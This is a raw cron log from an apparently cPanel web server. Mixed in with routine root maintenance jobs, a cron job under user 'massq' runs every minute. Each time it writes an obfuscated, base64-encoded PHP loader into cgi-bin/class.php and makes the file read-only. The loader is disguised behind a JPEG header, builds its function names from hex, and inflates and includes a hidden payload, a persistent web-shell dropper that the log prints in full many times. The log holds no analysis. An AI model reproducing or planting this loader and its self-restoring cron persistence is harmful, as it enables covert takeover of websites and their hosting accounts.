Nov 10 08:18:01 server CROND[31016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:19:01 server CROND[32011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:20:01 server CROND[377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:20:01 server CROND[379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:20:01 server CROND[381]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:20:01 server CROND[380]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:20:01 server CROND[382]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 08:21:01 server CROND[1266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:22:01 server CROND[2172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:23:01 server CROND[3001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:24:01 server CROND[3813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:25:01 server CROND[4635]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:25:01 server CROND[4636]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:25:01 server CROND[4637]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:25:01 server CROND[4639]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:26:01 server CROND[5526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:27:01 server CROND[6443]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 08:27:01 server CROND[6444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:28:01 server CROND[7178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:29:01 server CROND[7991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 08:30:01 server CROND[8919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 08:30:01 server CROND[8920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 08:30:01 server CROND[8930]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 10 08:30:01 server CROND[8933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 08:30:01 server CROND[8934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
